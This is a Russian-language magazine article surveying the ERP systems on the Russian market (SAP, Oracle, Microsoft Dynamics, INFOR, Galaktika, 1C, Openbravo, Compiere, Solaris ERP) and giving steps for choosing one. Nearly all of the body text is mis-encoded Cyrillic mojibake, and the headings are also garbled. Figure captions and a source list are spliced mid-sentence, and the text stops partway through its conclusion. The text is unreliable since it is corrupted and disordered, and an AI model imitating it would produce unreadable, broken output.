ðûíêå ýòî ðåøåíèå ïðîäâèãàåòñÿ íå î÷åíü àêòèâíî, õîòÿ íåêîòî-
ðûå âíåäðåíèÿ èìåþòñÿ. 

°ÏÈÉ×ÉÏÎÉÑÏÃÁÎÉÆ
Ðåøåíèåì îò Oracle äëÿ ñðåäíåãî è ìàëîãî áèçíåñà ÿâëÿåòñÿ íàáîð 
ïðèëîæåíèé Oracle’s JD Edwards Enterprise One. 

®ÁÂÏÑ ÅÏÒÓÔÐÎÜÖ ÍÏÅÔÌÆÊ
Äàííîå ðåøåíèå âêëþ÷àåò â ñåáÿ äîñòàòî÷íî ïîëíûé íàáîð ïðèëîæå-
íèé: óïðàâëåíèå æèçíåííûì öèêëîì àêòèâîâ, óïðàâëåíèå âçàèìî-
îòíîøåíèÿìè ñ çàêàç÷èêàìè, óïðàâëåíèå ôèíàíñàìè, óïðàâëåíèå 
÷åëîâå÷åñêèì êàïèòàëîì, ðàçðàáîòêà è ïðîèçâîäñòâî, óïðàâëåíèå 
çàêàçàìè, óïðàâëåíèå ïðîåêòàìè, íåäâèæèìîñòü è ñòðîèòåëüñòâî, 
ïëàíèðîâàíèå öåïî÷êè ïîñòàâîê, óïðàâëåíèå öåïî÷êîé ïîñòàâîê, 
óïðàâëåíèå çàêóïêàìè, ïðîèçâîäñòâî ïðîäóêòîâ ïèòàíèÿ è íàïèò-
êîâ. Äàííàÿ ñèñòåìà èìååò âûñîêóþ ñòåïåíü âíóòðåííåé èíòåãðàöèè 
ìîäóëåé.  

«ÌßØÆÃÜÆ ÏÒÏÂÆÎÎÏÒÓÉ
Ïðèëîæåíèÿ îò Oracle, êàê ïðàâèëî, õàðàêòåðèçóþòñÿ ìîùíîé 
ôóíêöèîíàëüíîñòüþ. Ýòî ñâÿçàíî ñ òåì, ÷òî ðàñøèðåíèå ERP ÷àñòî 
ïðîèñõîäèò çà ñ÷åò ïîãëîùåíèÿ îðàêëîì íåçàâèñèìûõ ñèñòåì, 
ëó÷øèõ â ñâîåì êëàññå, è ïîñëåäóþùåé èõ èíòåãðàöèè â íàáîð ñâîèõ 
ïðèëîæåíèé. 
Îáðàòíîé ñòîðîíîé òàêîãî ïóòè ðàçâèòèÿ ÿâëÿåòñÿ íèçêàÿ ñòåïåíü 
èíòåãðàöèè ñèñòåì âíóòðè ïàêåòà. Äåëî äîõîäèò äàæå òî òîãî, ÷òî 
èíòåðôåéñ ïðèëîæåíèé âíóòðè ïàêåòà ðàçíûé. 
Ñòîèìîñòü ïðîäóêòîâ òàêæå íå ìàëåíüêàÿ è íå óñòóïàåò SAP, à íå-

äîñòàòî÷íîå êîëè÷åñòâî ñïåöèàëèñòîâ ïî âíåäðåíèþ è ïîääåðæêå 
êîíêðåòíûõ ìîäóëåé îáóñëàâëèâàåò âûñîêóþ ñòîèìîñòü è ïîðîé — 
îòñóòñòâèå íà ðûíêå.

Microsoft
°ÏÌÏÇÆÎÉÆ ÎÁ ÑÜÎËÆ
Ïðîäâèæåíèåì áèçíåñ-ðåøåíèé Microsoft â Ðîññèè çàíèìàåòñÿ 
ïîäðàçäåëåíèå Microsoft Business Solution. Íà ïåðâîé âîëíå âûñîêîé 
àêòèâíîñòè è ïðîäâèæåíèÿ ñâîèõ ERP-ñèñòåì íà ðîññèéñêèé ðûíîê 
Microsoft ñóìåëà çàõâàòèòü çàìåòíóþ äîëþ ðûíêà, êîòîðóþ äîñòà-
òî÷íî óñïåøíî çàùèùàåò. Ïðè ýòîì, ñåðüåçíûõ ïðè÷èí äëÿ àêòèâíî-
ãî ðîñòà äîëè ðûíêà äàííîãî ïðîäóêòà íå íàáëþäàåòñÿ.

°ÏÈÉ×ÉÏÎÉÑÏÃÁÎÉÆ
Ñ ðåøåíèÿìè ERP îò ìèðîâîãî software-ëèäåðà âñå íåìíîãî ïðîùå… 
è ãðóñòíåå. Â ëèíåéêå Microsoft ïðåäñòàâëåíî äâà ïðîäóêòà, îòïî-
çèöèîíèðîâàííûõ êàê ERP-ñèñòåìû. Ýòî Microsoft Dynamics AX äëÿ 
êðóïíûõ è ñðåäíèõ ïðåäïðèÿòèé è Microsoft Dynamics NAV äëÿ ñðåä-
íèõ è ìåëêèõ ïðåäïðèÿòèé. Êðîìå òîãî, èìåþòñÿ èíäóñòðèàëüíûå 
ðåøåíèÿ äëÿ íåêîòîðûõ îòðàñëåé, íàïðèìåð, Microsoft Dynamics AX 
for Retail. Íàäî çàìåòèòü, ÷òî ïî ñðàâíåíèþ ñ êîëè÷åñòâîì èíäóñòðè-
àëüíûõ ðåøåíèé îò SAP è Oracle Microsoft, êîíå÷íî æå, îòñòàåò. 

®ÁÂÏÑ ÅÏÒÓÔÐÎÜÖ ÍÏÅÔÌÆÊ
Îáëàñòè, êîòîðûå ïîêðûâàþòñÿ ôóíêöèîíàëüíîñòüþ Microsoft 
Dynamics AX, ïðåäñòàâëåíû íà ðèñóíêå 5.

®ÁÂÏÑ ÅÏÒÓÔÐÎÜÖ ÍÏÅÔÌÆÊ
Ôóíêöèîíàëüíîñòü Microsoft Dynamics NAV áîëåå îãðàíè÷åíà (ñì. 
ðèñ. 6).

«ÌßØÆÃÜÆ ÏÒÏÂÆÎÎÏÒÓÉ
Microsoft äîñòàòî÷íî àêòèâíî ïðîäâèãàåò ñâîè ðåøåíèÿ íà íàøåì 
ðûíêå. Ïîýòîìó êîëè÷åñòâî âíåäðåíèé êàæäîãî èç ïðîäóêòîâ äîñòà-
òî÷íî âåëèêî. Ïðè ýòîì, ê äîñòîèíñòâàì ðåøåíèé îò Microsoft íàäî 
îòíåñòè áîëåå äåìîêðàòè÷íûå öåíû, ïî ñðàâíåíèþ ñ ðåøåíèÿìè îò 
SAP è Oracle. Ê íåäîñòàòêàì — ìåíåå ïðîðàáîòàííóþ ôóíêöèîíàëü-
íîñòü.

INFOR
°ÏÌÏÇÆÎÉÆ ÎÁ ÑÜÎËÆ
Åùå îäíèì çàðóáåæíûì ðåøåíèåì, çàñëóæèâàþùèì îòäåëüíîãî óïî-
ìèíàíèÿ, ÿâëÿåòñÿ ðåøåíèå îò êîìïàíèè INFOR. Õîòÿ â ðîññèéñêîì 
ðåéòèíãå îíè íå âûäåëèëèñü çàìåòíîé äîëåé ðûíêà, îäíàêî íà êâà-
äðàòå Gartner äàííàÿ êîìïàíèÿ è èõ ERP-ñèñòåìà Infor ERP SyteLine 
çàíèìàþò íåïëîõîå ïîëîæåíèå.

°ÏÈÉ×ÉÏÎÉÑÏÃÁÎÉÆ 
Äàííîå ðåøåíèå ïðåäíàçíà÷åíî äëÿ ïðîìûøëåííûõ êîìïàíèé ñ 

Рис 1.  Базовая функциональность ERP Рис. 2. Распределение российского рынка ERP (по данным 
IDC)

• ²ÉÒÓÆÍÜ ÔÐÑÁÃÌÆÎÉà ÂÉÈÎÆÒÏÍ SAP:
sap.com/cis/sme/solutions/businessmanagement/comparebm/
index.epx.
• ¯ÕÉ×ÉÁÌÝÎÜÊ ÒÁÊÓ ËÏÍÐÁÎÉÉ Oracle:
oracle.com/ru/products/applications/ebusiness/index.html.
• ¯ÕÉ×ÉÁÌÝÎÜÊ ÒÁÊÓ ËÏÍÐÁÎÉÉ Microsoft
microsoft.com/rus/dynamics/default.mspx.
• ²ÁÊÓ ËÏÍÐÁÎÉÉ «µÑÏÎÓÒÓÆÐ»
frontstep.ru/products/SyteLine/InforERPSyteLine.
• ²ÁÊÓ ËÏÍÐÁÎÉÉ «¤ÁÌÁËÓÉËÁ»
galaktika.ru.
• ²ÁÊÓ ËÏÍÐÁÎÉÉ «1C»
v8.1c.ru.
•TADVISER — ×ÆÎÓÑ ÃÜÂÏÑÁ ÓÆÖÎÏÌÏÄÉÊ É ÐÏÒÓÁÃÚÉËÏÃ
tadviser.ru.

Использованные материалы:
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òàê íàçûâàåìûì äèñêðåòíûì ïðîèçâîäñòâîì: ìàøèíîñòðîåíèå, 
ïðîèçâîäñòâî ýëåêòðîíèêè, äåðåâîîáðàáîòêà è ò.ä. Ýòî è îáúÿñíÿåò 
íåáîëüøóþ äîëþ ðûíêà. 
Îäíàêî, ñ ðîñòîì ïðîìûøëåííîñòè â íàøåé ñòðàíå (ýòî âåäü ïðàâäà 
ñëó÷èòñÿ?), áóäåì íàäåÿòüñÿ, ÷òî êîëè÷åñòâî âíåäðåíèé äàííîãî ïðî-
äóêòà áóäåò ðàñòè.þ
®ÁÂÏÑ ÅÏÒÓÔÐÎÜÖ ÍÏÅÔÌÆÊ
Ñèñòåìà ñîäåðæèò ñëåäóþùèå ôóíêöèîíàëüíûå ìîäóëè: óïðàâëå-
íèå ïðîèçâîäñòâåííûìè ïðîöåññàìè, óïðàâëåíèå ñíàáæåíèåì è 
ïëàíèðîâàíèå, îáñëóæèâàíèå êëèåíòîâ, óïðàâëåíèå ôèíàíñàìè, 
àäìèíèñòðèðîâàíèå. 
Êðîìå òîãî, äàííîå ðåøåíèå ìîæåò áûòü èíòåãðèðîâàíî ñ äðóãèìè 
ïðîäóêòàìè îò êîìïàíèè INFOR: óïðàâëåíèå öåïî÷êàìè ïîñòàâîê, 
ïëàíèðîâàíèå è îïòèìèçàöèÿ, óïðàâëåíèå âçàèìîîòíîøåíèÿìè ñ 
êëèåíòàìè.

«ÌßØÆÃÜÆ ÏÒÏÂÆÎÎÏÒÓÉ
Ñòîèìîñòü ðåøåíèé îò INFOR íàõîäèòñÿ ïðèìåðíî íà îäíîì óðîâíå ñ 
ðåøåíèÿìè îò Microsoft. 
Êîëè÷åñòâî ñïåöèàëèñòîâ íåâåëèêî, íî íèøåâîñòü è îðèåíòèðîâàí-
íîñòü íà ñâîèõ êëèåíòîâ ïîçâîëÿþò äàííîìó ïðîäóêòó ÷óâñòâîâàòü 
ñåáÿ óâåðåííî íà íàøåì ðûíêå. Êîëè÷åñòâî âíåäðåíèé ýòîãî ðåøå-
íèÿ íà ðîññèéñêîì ðûíêå íåáîëüøîå, íî ñòàáèëüíîå.

«Галактика»
Ïåðåõîäèì ê ðîññèéñêèì ñèñòåìàì. Ïèîíåðîì ðûíêà ðîññèéñêèõ 
ERP ÿâëÿåòñÿ êîìïàíèÿ «Ãàëàêòèêà», êîòîðàÿ àêòèâíî áüåòñÿ çà âû-
æèâàíèå â äàííîì ñåãìåíòå.

°ÏÌÏÇÆÎÉÆ ÎÁ ÑÜÎËÆ
«Ãàëàêòèêà» áûëà ïåðâûì ðîññèéñêèì ðàçðàáîò÷èêîì ERP-ñèñòåì, 
çàÿâèâøèì î ñåáå êàê î ëèäåðå ðîññèéñêîãî ðûíêà ERP. Âñå ýòè ãîäû 
êîìïàíèÿ àêòèâíî ðàçâèâàëà ñâîé ïðîäóêò è ïðîäâèãàëà åãî â ìàññû. 
Ê ñîæàëåíèþ, ñåé÷àñ äâèæåíèå äàåòñÿ êîìïàíèè âñå òðóäíåå è 
òðóäíåå.

°ÏÈÉ×ÉÏÎÉÑÏÃÁÎÉÆ 
ERP-ñèñòåìà «Ãàëàêòèêà» ÿâëÿåòñÿ âçðîñëîé è ïîëíîôóíêöèîíàëü-
íîé ñèñòåìîé óïðàâëåíèÿ ïðåäïðèÿòèåì, îðèåíòèðîâàííîé íà 
êðóïíûå è ñðåäíèå ïðåäïðèÿòèÿ.

®ÁÂÏÑ ÅÏÒÓÔÐÎÜÖ ÍÏÅÔÌÆÊ
Îíà ñîäåðæèò ïðàêòè÷åñêè ïîëíûé íàáîð ôóíêöèîíàëüíûõ áëîêîâ 
êëàññè÷åñêîé ERP-ñèñòåìû (â òåðìèíàõ «Ãàëàêòèêè» — «êîíòó-
ðîâ»). 
Ïîëíûé ñîñòàâ ERP-ñèñòåìû «Ãàëàêòèêà» âûãëÿäèò òàê: êîíòóð 
ïëàíèðîâàíèÿ è óïðàâëåíèÿ ôèíàíñàìè (Financial Management 
— FM), êîíòóð óïðàâëåíèÿ ÷åëîâå÷åñêèì êàïèòàëîì (Human 
Capital Management — HCM), êîíòóð óïðàâëåíèÿ ïðîèçâîäñòâîì 
(Manufacturing Management– MM), êîíòóð óïðàâëåíèÿ ïðîåêòà-

ìè (Project Management — PM), êîíòóð óïðàâëåíèÿ öåïî÷êàìè 
ïîñòàâîê (Supply Chain Management — SCM), êîíòóð óïðàâëåíèÿ 
âçàèìîîòíîøåíèÿìè ñ ïîñòàâùèêàìè (Supplier Relationship 
Management — SRM), êîíòóð óïðàâëåíèÿ àêòèâàìè (Enterprise 
Asset Management — EAM), êîíòóð óïðàâëåíèÿ ðåìîíòàìè (ÒÎÐÎ), 
êîíòóð óïðàâëåíèÿ âçàèìîîòíîøåíèÿìè ñ êëèåíòàìè (Customer 
Relationship Management — CRM) è äðóãèå.
Êðîìå òîãî, äëÿ ïîääåðæêè ñïåöèàëüíûõ çàäà÷ ïðåäïðèÿòèÿ ðàç-
ðàáîòàíû ðåøåíèÿ, äîïîëíÿþùèå ôóíêöèîíàëüíûå âîçìîæíî-
ñòè ñèñòåìû ERP: èíòåëëåêòóàëüíûé àíàëèç äåÿòåëüíîñòè ïðåä-
ïðèÿòèÿ ïî êëþ÷åâûì ïîêàçàòåëÿì — «Ãàëàêòèêà BI» (Business 
Intelligence), óïðàâëåíèå èíâåñòèöèîííûìè ïðîãðàììàìè, 
óïðàâëåíèå ÍÈÎÊÐ, óïðàâëåíèå íåäâèæèìîñòüþ, ó÷åò ôîðìåí-
íîé ñïåöîäåæäû è âåùåâîãî èìóùåñòâà, êîíñîëèäàöèÿ è àíàëèç 
äàííûõ â Excel. 
Òàêæå ñóùåñòâóþò îòðàñëåâûå ðåøåíèÿ äëÿ êëþ÷åâûõ îòðàñëåé: 
ìàøèíîñòðîåíèå, îáðàçîâàíèå, òðàíñïîðò, ýíåðãåòèêà è äðóãèå. 

«ÌßØÆÃÜÆ ÏÒÏÂÆÎÎÏÒÓÉ
ERP-cèñòåìà «Ãàëàêòèêà» îòëè÷àåòñÿ áîëåå íèçêîé ñòîèìîñòüþ 
âíåäðåíèÿ ïî ñðàâíåíèþ ñ çàðóáåæíûìè ñèñòåìàìè. 
Î÷åâèäíî, ÷òî îíà èìååò ÿðêî âûðàæåííóþ ðåãèîíàëüíóþ îðèåí-
òàöèþ íà ðîññèéñêèé ðûíîê è ðûíîê ÑÍÃ, íà êîòîðîì è çàíèìàåò 
çàìåòíóþ äîëþ, êîòîðóþ ïðèõîäèòñÿ çàùèùàòü ñ äâóõ ñòîðîí — ñî 
ñòîðîíû çàðóáåæíûõ ñèñòåì è ñî ñòîðîíû íàèáîëåå àêòèâíîãî ðîñ-
ñèéñêîãî êîíêóðåíòà — «1C».

«1C»
 °ÏÌÏÇÆÎÉÆ ÎÁ ÑÜÎËÆ
Ïðî «1C» â Ðîññèè çíàþò âñå. Ðàñêðûòü, à òåì áîëåå ïîâòîðèòü 
ñåêðåò óñïåõà äàííîé êîìïàíèè ïîêà íå óäàëîñü íèêîìó. 
Êëþ÷åâîå íàïðàâëåíèå ðàçâèòèÿ êîìïàíèè — ïðèëîæåíèÿ äëÿ 
áèçíåñà. Â äàííîì íàïðàâëåíèè êîìïàíèÿ ìåäëåííî, íî íåóêëîííî 
äâèæåòñÿ ââåðõ: îò ìàëåíüêèõ êîìïàíèé — ê ñðåäíèì è êðóïíûì. 
Äâèæåíèå íàñòîëüêî íåòîðîïëèâîå, íàñêîëüêî öåëåíàïðàâëåííîå 
è óñïåøíîå. 

°ÏÈÉ×ÉÏÎÉÑÏÃÁÎÉÆ
Íà äàííûé ìîìåíò óæå ìîæíî ãîâîðèòü î òîì, ÷òî ðåøåíèÿ êîì-
ïàíèè «1C» áåçðàçäåëüíî ãîñïîäñòâóþò â ñåãìåíòå small-áèçíåñà 
è îòúåäàþò âåñîìóþ ÷àñòü â middle-áèçíåñå. Íà î÷åðåäè êðóïíûå 
êîìïàíèè?

®ÁÂÏÑ ÅÏÒÓÔÐÎÜÖ ÍÏÅÔÌÆÊ
Ôóíêöèîíàëüíîñòü ñèñòåìû «1C: Óïðàâëåíèå ïðîèçâîäñòâåííûì 
ïðåäïðèÿòèåì» ïðåäñòàâëåíà íà êàðòå ðåøåíèé íà ðèñóíêå 8 (èñ-
òî÷íèê — ñàéò «1C»). Îíà, êîíå÷íî æå, ìåíüøå, ÷åì êàðòà ìîäóëåé 
ðåøåíèé îò SAP èëè Oracle, íî âïîëíå ìîæåò êîíêóðèðîâàòü, íà-
ïðèìåð, ñ ðåøåíèåì îò Microsoft Dynamics NAV.

Рис. 3. Квадрат Garthner для ERP среднего сегмента Рис. 4. Пример конфигурирования решения SAP Business 
All-in-One на сайте компании.
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SYN/ACK

«ÌßØÆÃÜÆ ÏÒÏÂÆÎÎÏÒÓÉ
Ãëàâíûé êîçûðü «1C» — íèçêàÿ ñòîèìîñòü ðåøåíèÿ, ïîìíîæåí-
íàÿ íà îãðîìíîå êîëè÷åñòâî ïàðòíåðîâ ïî âíåäðåíèþ è íà ñàìîå 
ëó÷øåå ñîîòâåòñòâèå òðåáîâàíèÿì ðîññèéñêîãî çàêîíîäàòåëüñòâà. 
Òàêàÿ ìóëüòèïëèêàöèÿ ñèëüíûõ ñòîðîí îáðàçóåò ïîèñòèíå âçðû-
âîîïàñíóþ ñìåñü äëÿ áîðüáû ñ êîíêóðåíòàìè. 
Â êà÷åñòâå ñèëüíûõ ñòîðîí âòîðîé î÷åðåäè — ñàìûå íèçêèå ñòàâêè 
íà ñïåöèàëèñòîâ ïî äàííîìó ïðîäóêòó. Ïðè ýòîì íàäî çàìåòèòü, 
÷òî ñòîèìîñòü ïðîåêòîâ «1C» íåóêëîííî ðàñòåò, è óæå äàâíî åñòü 
íà ðûíêå ïðîåêòû ERP íà «1C» çà ìèëëèîíû äîëëàðîâ. È âîò â ýòîì 
ñëó÷àå íàäî ïðèçàäóìàòüñÿ — à ñòîèò ëè?

±ÆÙÆÎÉà Open Source
Îòäåëüíîãî óïîìèíàíèÿ çàñëóæèâàþò ERP-ðåøåíèÿ íà áàçå Open 
Source-ìîäåëè. Ýòî ñðàâíèòåëüíî íîâàÿ äëÿ ðîññèéñêîãî ðûíêà 
ERP ãðóïïà ðåøåíèé. Õîòÿ ñàìà ìîäåëü ðåøåíèé Open Source óæå 
ñóùåñòâóåò è ïðîäâèãàåòñÿ íà ðûíêå î÷åíü äàâíî. 
Íàâåðíîå, áîëüøîå ÷èñëî ïîêëîííèêîâ ðåøåíèé ïîäîáíîãî ðîäà 
íàéäóòñÿ ñðåäè ìîëîäûõ áèçíåñìåíîâ è ÈÒ-ñïåöèàëèñòîâ, êîòîðûå 
âïèòàëè âêóñ Open Source åùå íà ýòàïå ñòàíîâëåíèÿ ñâîåé êàðüå-
ðû. Ïîýòîìó áûñòðî ïðîéäåìñÿ ïî äàííûì ðåøåíèÿì.
 
Openbravo ERP 
®ÆËÏÓÏÑÜÆ ÕÁËÓÜ
Openbravo — áåñïëàòíàÿ ERP-ñèñòåìà ñ îòêðûòûì êîäîì, 
ðàçðàáîòàííàÿ â Èñïàíèè. Èìååò ìíîæåñòâî íàãðàä îò Open 
Source-ñîîáùåñòâà. Â Ðîññèè ñèñòåìà ïîääåðæèâàåòñÿ öåíòðîì 
êîìïåòåíöèè Openbravo Russia, êîòîðûé âûïîëíÿåò è ëîêàëè-
çàöèþ äàííîãî ïðîäóêòà. Ñèñòåìà ðàáîòàåò ÷åðåç èíòóèòèâíî 
ïîíÿòíûé êðàñèâûé web-èíòåðôåéñ è îáëàäàåò øèðîêîé ôóíê-
öèîíàëüíîñòüþ.

®ÁÂÏÑ ÍÏÅÔÌÆÊ
Íàáîð äîñòóïíûõ ìîäóëåé äëÿ äàííîãî ïðîäóêòà äîñòàòî÷íî øè-
ðîê: óïðàâëåíèå çàêóïêàìè, óïðàâëåíèå ïðîäàæàìè, óïðàâëåíèå 

ñêëàäîì, óïðàâëåíèå ïðîèçâîäñòâîì, óïðàâëåíèå ôèíàíñàìè, 
ñâîäíîå ïëàíèðîâàíèå, óïðàâëåíèå êîíòðàãåíòàìè, óïðàâëåíèå 
àêòèâàìè, óïðàâëåíèå ïðîåêòàìè, óïðàâëåíèå îòíîøåíèÿìè ñ 
êëèåíòàìè. Ïîëó÷àåìûé íàáîð ïîëíîñòüþ ñîîòâåòñòâóåò òàêîâîìó 
ó âçðîñëûõ ERP-ñèñòåì. 
Êðîìå òîãî, Openbravo ñîäåðæèò ìåõàíèçìû workflow — óïðàâ-
ëåíèÿ ïðîöåññàìè. Ñèñòåìà ðàáîòàåò â âèäå web-ïðèëîæåíèÿ, íà-
ïèñàííîãî íà ÿçûêå Java. Ôóíêöèîíèðóåò íà ëþáûõ îïåðàöèîííûõ 
ñèñòåìàõ, ïîääåðæèâàþùèõ Java.

´ÒÌÏÃÉà ÑÁÒÐÑÏÒÓÑÁÎÆÎÉà
Openbravo — ñâîáîäíà äëÿ ñêà÷èâàíèÿ, ðàñïðîñòðàíÿåòñÿ ñ äèñ-
òðèáóòèâîì Linux Ubuntu, à òàêæå ïðåäñòàâëåíà âåðñèÿ â âèäå 
âèðòóàëüíîé ìàøèíû äëÿ îáëàêà Amazon Web Services.
 
 Compiere 
®ÆËÏÓÏÑÜÆ ÕÁËÓÜ
Compiere — ERP-ñèñòåìà ñ îòêðûòûìè èñõîäíûìè êîäàìè äëÿ 
ïðåäïðèÿòèé ìàëîãî è ñðåäíåãî áèçíåñà. Compiere íåîôèöèàëü-
íî ñ÷èòàåòñÿ ëèäåðîì ñðåäè Open Source ERP-ñèñòåì. Â àâãóñòå 
2008 ãîäà æóðíàë InfoWorld íàãðàäèë Compiere ïðåìèåé «Bossie 
Award» â íîìèíàöèè «Ëó÷øåå â ìèðå ERP-ðåøåíèå íà îòêðûòûõ 
èñõîäíûõ êîäàõ». 

Рис. 5. Функциональность  Microsoft Dynamics AX

Рис. 6. Функциональность Microsoft Dynamics NAV
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®ÁÂÏÑ ÍÏÅÔÌÆÊ
Ñompiere âêëþ÷àåò ñëåäóþùèå ôóíêöèîíàëüíûå áëîêè: óïðàâ-
ëåíèå çàêàçàìè (Order Management), óïðàâëåíèå ñíàáæåíèåì 
(Procurement), óïðàâëåíèå çàïàñàìè (Material Management), 
óïðàâëåíèå ïðîåêòàìè (Project Management), óïðàâëåíèå 
ñêëàäîì (WMS — Warehouse Management System), ïðîèçâîäñòâî 
(Manufacturing), óïðàâëåíèå ôèíàíñàìè (Cash Management), 
áóõãàëòåðèÿ (ôèíàíñîâûé ó÷åò), àíàëèç ýôôåêòèâíîñòè áèçíåñà 
(Performance Analysis), óïðàâëåíèå îòíîøåíèÿìè ñ êëèåíòà-
ìè (Customer Relationship Management), óïðàâëåíèå áèçíåñ-
ïðîöåññàìè (Work-flow Management), èíòåðíåò-ìàãàçèí (Web 
Store).

´ÒÌÏÃÉà ÑÁÒÐÑÏÒÓÑÁÎÆÎÉà
Compiere ïðåäñòàâëåíî â ÷åòûðåõ ðåäàêöèÿõ: Community Edition 
(îáíîâëÿåòñÿ ðàç â ãîä), Standard Edition, Professional Edition, Cloud 
Edition (ïîñòàâëÿþòñÿ çà ïëàòó, èìåþò ðåãóëÿðíûå îáíîâëåíèÿ, 
ïîñòàâëÿþòñÿ ÷åðåç ïàðòíåðîâ). Ôóíêöèîíàëüíîñòü Community 
Edition âêëþ÷àåò òîëüêî áàçîâóþ ERP-ôóíêöèîíàëüíîñòü è «òîë-
ñòîãî êëèåíòà».

«¤ÁÌÁËÓÉËÁ ¾ËÒÐÑÆÒÒ»
«Ãàëàêòèêà Ýêñïðåññ» — ïîëíîôóíêöèîíàëüíàÿ ERP-ñèñòåìà äëÿ 
ïðåäïðèÿòèé ñðåäíåãî ðàçìåðà â Ðîññèè è ñòðàíàõ ÑÍÃ, ñêîíôèãó-
ðèðîâàííàÿ íà îñíîâå ñèñòåìû «Ãàëàêòèêà ERP».

´ÒÌÏÃÉà ÑÁÒÐÑÏÒÓÑÁÎÆÎÉà
Ñèñòåìà «Ãàëàêòèêà Ýêñïðåññ» ïîñòàâëÿåòñÿ â äâóõ âåðñèÿõ: 
«Ãàëàêòèêà Ýêñïðåññ ÑÐÂ» — ñâîáîäíî ðàñïðîñòðàíÿåìàÿ âåðñèÿ è 
«Ãàëàêòèêà Ýêñïðåññ ÂÐÏ» — âåðñèÿ, ðàñïðîñòðàíÿåìàÿ ïî ïîäïè-
ñêå. Äëÿ ñèñòåìû «Ãàëàêòèêà Ýêñïðåññ ÂÐÏ» äîñòóïíà ïîëíîöåííàÿ 
òåõíè÷åñêàÿ ïîääåðæêà ñ ãàðàíòèÿìè ïîñòàâùèêà è îáíîâëåíèÿìè 
ñèñòåìû.

Solaris ERP
®ÆËÏÓÏÑÜÆ ÕÁËÓÜ
Solaris ERP — ïîëíîôóíêöèîíàëüíûé êîìïëåêñ, ïîçâîëÿþùèé 
â åäèíîì èíôîðìàöèîííîì ïðîñòðàíñòâå âûïîëíÿòü òèïîâûå è 
ñïåöèàëèçèðîâàííûå çàäà÷è óïðàâëåíèÿ ïðåäïðèÿòèåì. Ñèñòåìà 
èçíà÷àëüíî ñïîçèöèîíèðîâàíà íà ðîññèéñêèé ðûíîê ERP. 

®ÁÂÏÑ ÍÏÅÔÌÆÊ
Ôóíêöèîíàëüíî ñèñòåìà ïîäåëåíà íà ðÿä ïîäñèñòåì, îáúåäèíåí-
íûõ ìåæäó ñîáîé â ñëåäóþùèå áëîêè: ñòðóêòóðà èçäåëèé (ìíî-
ãîóðîâíåâûé êëàññèôèêàòîð, ñîñòàâû èçäåëèé, íîðìû ðàñõîäà), 
òåõíîëîãèÿ èçãîòîâëåíèÿ (òåõíîëîãè÷åñêèå îïåðàöèè, íîðìû 
âðåìåíè, èñïîëüçóåìûé èíñòðóìåíò, îñíàñòêà, çàäåéñòâîâàííîå 
îáîðóäîâàíèå, ïåðñîíàë, òèïîâûå è ãðóïïîâûå òåõíîëîãèè), 
âçàèìîîòíîøåíèÿ ñ êîíòðàãåíòàìè, ñêëàäñêîé ó÷åò, óïðàâëåíèå 
öåíàìè, ïîðòôåëü çàêàçîâ, ïëàíèðîâàíèå ïðîèçâîäñòâà, äèñ-
ïåò÷åðèçàöèÿ, ñíàáæåíèå ïðîèçâîäñòâà, óïðàâëåíèå çàêóïêàìè, 

áþäæåòèðîâàíèå, óïðàâëåíèå çàäà÷àìè (TASK-Manager).

´ÒÌÏÃÉà ÑÁÒÐÑÏÒÓÑÁÎÆÎÉà
Ïðîäóêò ðàñïðîñòðàíÿåòñÿ íà óñëîâèÿõ îïëàòû ëèöåíçèé.
 
Практические советы по выбору 
решения
Èòàê, ïîñëå çíàêîìñòâà ñ ERP-ñèñòåìàìè, äîìèíèðóþùèìè íà 
ðîññèéñêîì ðûíêå, ñòàíîâèòñÿ ïîíÿòíî, ÷òî âûáèðàòü ïðèäåòñÿ 
â ëó÷øåì ñëó÷àå èç 4-5 ñèñòåì. È âîò çäåñü, ÷òîáû ïðàâèëüíî âû-
áðàòü íàèáîëåå ïîäõîäÿùóþ ñèñòåìó, íóæíî ñäåëàòü ñëåäóþùèå 
øàãè:
1. Îïðåäåëèòü òðåáóåìûé ôóíêöèîíàë ñèñòåìû. Òî åñòü çàôèê-
ñèðîâàòü òîò íàáîð ôóíêöèîíàëüíûõ ìîäóëåé, êîòîðûå äîëæíà 
áóäåò ñîäåðæàòü ERP-ñèñòåìà. Íà ýòîì ýòàïå ýòî ìîæíî ñäåëàòü 
ïðîñòî, êðóïíûìè áëîêàìè. Íàïðèìåð, äëÿ àâòîìàòèçàöèè ïðî-
èçâîäñòâåííîé êîìïàíèè, êàê ïðàâèëî, ïîòðåáóþòñÿ ñëåäóþùèå 
ôóíêöèîíàëüíûå áëîêè: óïðàâëåíèå çàêóïêàìè, óïðàâëåíèå 
ïðîèçâîäñòâîì, óïðàâëåíèå ñêëàäîì, ñâîäíîå ïëàíèðîâàíèå, 
óïðàâëåíèå ïðîäàæàìè, óïðàâëåíèå ôèíàíñàìè, óïðàâëåíèå îò-
íîøåíèÿìè ñ êëèåíòàìè. 
2. Îïðåäåëèòü äîñòóïíûé íàì áþäæåò íà àâòîìàòèçàöèþ.
3. Îïðåäåëèòü äîñòóïíóþ íàì ñòîèìîñòü âëàäåíèÿ ñèñòåìîé — 
ÒÑÎ, íàïðèìåð, íà 7 ëåò.
4. Ñ ó÷åòîì ïîëó÷åííûõ äàííûõ îïðåäåëèòü 4-5 ïîäõîäÿùèõ ïîä 
ýòè ïàðàìåòðû ñèñòåì.
5. Äàëåå íåîáõîäèìî îöåíèòü ôóíêöèîíàëüíîñòü îòîáðàííûõ 
ñèñòåì íà ïðåäìåò ñîîòâåòñòâèÿ íàøèì òðåáîâàíèÿì.
6. Ïîñëå ýòîãî ñâåñòè âñå ïîëó÷åííûå îöåíêè â òàáëèöó è ïåðå-
ëîæèòü åå íà äèàãðàììó òèïà Ðàäàð. Â ðåçóëüòàòå ïîëó÷èòñÿ ïðè-
ìåðíî òàêàÿ êàðòèíà.
Ôèãóðà ìàêñèìàëüíîé ïëîùàäè ñîîòâåòñòâóåò ìàêñèìàëüíî ïîä-
õîäÿùåìó ïîä íàøè òðåáîâàíèÿ ðåøåíèþ. Ïðè ýòîì, åñëè êàêèå-
ëèáî ïàðàìåòðû èìåþò ðàçíûé âåñ, ÷òî âïîëíå ëîãè÷íî, òî ïåðåä 
ýòèì èõ íàäî ïðèâåñòè ê îáùåìó çíà÷åíèþ. Íà ïðèâåäåííîì âûøå 
ïðèìåðå, ìàêñèìàëüíî ïîäõîäÿùèì ðåøåíèåì îêàçàëîñü ERP2.
Èòîãî, ïî ðåçóëüòàòàì ïðî÷òåíèÿ ýòîé ñòàòüè, ìû ìîæåì çàêëþ-
÷èòü ñëåäóþùåå:
